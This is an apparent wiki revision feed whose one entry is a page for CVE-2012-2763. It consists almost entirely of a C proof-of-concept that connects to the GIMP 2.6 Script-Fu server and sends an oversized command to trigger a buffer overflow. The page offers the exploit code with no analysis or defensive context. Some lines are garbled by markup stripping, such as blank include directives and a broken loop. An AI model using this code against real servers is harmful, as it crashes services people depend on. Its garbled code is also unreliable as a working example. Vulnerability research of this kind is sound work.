<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2012-2763_GIMP_2.6_script-fu%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2012-2763 GIMP 2.6 script-fu緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2012-2763_GIMP_2.6_script-fu%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2012-2763_GIMP_2.6_script-fu%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T21:45:32Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2012-2763_GIMP_2.6_script-fu%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=720&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; //////////////////////////////////////////////////////////////// //                 // // PoC for GIMP &lt;= 2.6 Script-Fu server buffer overflow       // // Author...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2012-2763_GIMP_2.6_script-fu%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=720&amp;oldid=prev"/>
		<updated>2021-03-27T03:30:42Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; //////////////////////////////////////////////////////////////// //                 // // PoC for GIMP &amp;lt;= 2.6 Script-Fu server buffer overflow       // // Author...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
////////////////////////////////////////////////////////////////&lt;br /&gt;
//                 //&lt;br /&gt;
// PoC for GIMP &amp;lt;= 2.6 Script-Fu server buffer overflow       //&lt;br /&gt;
// Author: Joseph Sheridan           //&lt;br /&gt;
// Date: 20/05/2012             //&lt;br /&gt;
//                 //&lt;br /&gt;
// compile with cl scriptfubof.c /link wsock32.lib          //&lt;br /&gt;
////////////////////////////////////////////////////////////////&lt;br /&gt;
&lt;br /&gt;
#define WIN32_LEAN_AND_MEAN&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
 &lt;br /&gt;
#define DEFAULT_PORT 10008&lt;br /&gt;
// TCP socket type&lt;br /&gt;
#define DEFAULT_PROTO SOCK_STREAM&lt;br /&gt;
void senddata();&lt;br /&gt;
void recvdata();&lt;br /&gt;
WSADATA wsaData;&lt;br /&gt;
SOCKET  conn_socket;&lt;br /&gt;
char Buffer[2000000];&lt;br /&gt;
char inBuffer[128];&lt;br /&gt;
 &lt;br /&gt;
void Usage()&lt;br /&gt;
{&lt;br /&gt;
 printf(&amp;quot;Usage: scriptfubof servername portnumber\n&amp;quot;);&lt;br /&gt;
 fflush(stdout);&lt;br /&gt;
 exit(1);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
 &lt;br /&gt;
 // default to localhost&lt;br /&gt;
 char *server_name= &amp;quot;localhost&amp;quot;;&lt;br /&gt;
 unsigned short port = DEFAULT_PORT;&lt;br /&gt;
 int i, loopcount, maxloop=-1;&lt;br /&gt;
 int retval;&lt;br /&gt;
 unsigned int addr;&lt;br /&gt;
 int socket_type = DEFAULT_PROTO;&lt;br /&gt;
 struct sockaddr_in server;&lt;br /&gt;
&lt;br /&gt;
 if (argc &amp;lt; 3) {&lt;br /&gt;
  Usage();&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 if ((retval = WSAStartup(0x202, &amp;amp;wsaData)) != 0)&lt;br /&gt;
 {&lt;br /&gt;
    fprintf(stderr,&amp;quot;WSAStartup() failed with error %d\n&amp;quot;, retval);&lt;br /&gt;
  WSACleanup();&lt;br /&gt;
  return -1;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 // Get portnum&lt;br /&gt;
 port = atoi(argv[2]);&lt;br /&gt;
 &lt;br /&gt;
 memset(&amp;amp;server, 0, sizeof(server));&lt;br /&gt;
 server.sin_addr.s_addr = inet_addr(argv[1]);&lt;br /&gt;
 server.sin_family = AF_INET;&lt;br /&gt;
 server.sin_port = htons(port);&lt;br /&gt;
 &lt;br /&gt;
 conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */&lt;br /&gt;
 if (conn_socket &amp;lt;0 )&lt;br /&gt;
 {&lt;br /&gt;
  fprintf(stderr,&amp;quot;Client: Error Opening socket: Error %d\n&amp;quot;, WSAGetLastError());&lt;br /&gt;
  WSACleanup();&lt;br /&gt;
  return -1;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 if (connect(conn_socket, (struct sockaddr*)&amp;amp;server, sizeof(server)) == SOCKET_ERROR)&lt;br /&gt;
 {&lt;br /&gt;
  fprintf(stderr,&amp;quot;Client: connect() failed: %d\n&amp;quot;, WSAGetLastError());&lt;br /&gt;
  WSACleanup();&lt;br /&gt;
  return -1;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 // Send the data&lt;br /&gt;
 senddata();&lt;br /&gt;
&lt;br /&gt;
 // recieve a msg&lt;br /&gt;
 recvdata();&lt;br /&gt;
 &lt;br /&gt;
 closesocket(conn_socket);&lt;br /&gt;
 WSACleanup();&lt;br /&gt;
 &lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void senddata() {&lt;br /&gt;
&lt;br /&gt;
 int loopcount = 0, retval =0;&lt;br /&gt;
 unsigned char command[]=&amp;quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
 &lt;br /&gt;
 Buffer[0]='\x47'; //Magic byte 'G'&lt;br /&gt;
 Buffer[1]=sizeof(command)/256; //High byte of L - L div 256&lt;br /&gt;
 Buffer[2]=sizeof(command)%256; //Low byte of L - L mod 256&lt;br /&gt;
 strcpy(&amp;amp;Buffer[3],command);&lt;br /&gt;
 &lt;br /&gt;
 retval = send(conn_socket, Buffer, sizeof(command) +3, 0);&lt;br /&gt;
 if (retval == SOCKET_ERROR)&lt;br /&gt;
 {&lt;br /&gt;
  fprintf(stderr,&amp;quot;Client: send() failed: error %d.\n&amp;quot;, WSAGetLastError());&lt;br /&gt;
  WSACleanup();&lt;br /&gt;
  return;&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
   printf(&amp;quot;Client: send() is OK.\n&amp;quot;);&lt;br /&gt;
 printf(&amp;quot;Client: Sent data \&amp;quot;%s\&amp;quot;\n&amp;quot;, Buffer);&lt;br /&gt;
 &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void recvdata() {&lt;br /&gt;
 int i=0;&lt;br /&gt;
 int retval=0;&lt;br /&gt;
 memset(inBuffer,0,128);&lt;br /&gt;
 &lt;br /&gt;
 retval = recv(conn_socket, inBuffer, 128, 0);&lt;br /&gt;
 printf(&amp;quot;retval is :%d\n&amp;quot;, retval);&lt;br /&gt;
 printf(&amp;quot;first char is: %x\n&amp;quot;, inBuffer[0]);&lt;br /&gt;
 if (retval == SOCKET_ERROR)&lt;br /&gt;
   {&lt;br /&gt;
  fprintf(stderr,&amp;quot;Client: recv() failed: error %d.\n&amp;quot;, WSAGetLastError());&lt;br /&gt;
  closesocket(conn_socket);&lt;br /&gt;
  WSACleanup();&lt;br /&gt;
  return;&lt;br /&gt;
 }&lt;br /&gt;
 else {&lt;br /&gt;
  printf(&amp;quot;Client: recv() is OK.\n&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  // print the message contents...&lt;br /&gt;
  &lt;br /&gt;
  for (i=0;i   printf(&amp;quot;%c&amp;quot;, inBuffer[i]);&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
  fflush(stdout);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>